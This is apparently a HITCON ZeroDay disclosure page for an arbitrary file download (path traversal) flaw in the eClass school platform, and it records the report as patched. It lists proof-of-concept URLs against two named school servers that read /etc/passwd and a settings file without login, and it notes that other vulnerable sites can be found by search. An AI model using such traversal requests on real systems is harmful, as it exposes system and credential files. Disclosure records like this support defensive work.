eClass 發現任意檔案下載漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2019-00423
  •  發信 Vendor: eClass
  • Title: eClass 發現任意檔案下載漏洞
  • Introduction: 發現任意檔案下載漏洞。

處理狀態

目前狀態

公開
Last Update : 2019/06/25
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2019/05/16 18:09:53 : 新提交 (由 _00rukawa00_ 更新此狀態)
  • 2019/05/16 20:49:45 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/05/17 10:37:06 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/05/17 10:37:06 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/05/17 10:37:06 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/06/10 11:26:04 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2019/06/21 19:30:34 : 確認已修補 (由 _00rukawa00_ 更新此狀態)
  • 2019/06/25 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID：ZD-2019-00423
  • 通報者：_00rukawa00_ (_00rukawa00_)
  • 風險：高
  • 類型：任意檔案下載 (Arbitrary File Download)

參考資料

攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html

OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

相關網址

https://eclass.cycivs.tc.edu.tw/home/download_attachment.php?target=/etc/passwd
https://eclass.cycivs.tc.edu.tw/home/download_attachment.php?target=../includes/settings.php

http://eclass.hn.thu.edu.tw/home/download_attachment.php?target=/etc/passwd
http://eclass.hn.thu.edu.tw/home/download_attachment.php?target=../includes/settings.php

敘述

For any URLs with download_attachment.php under templates or home folder, it can allow arbitrary file download without login.

It is easy to find from Google for other schools use eClass.

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
;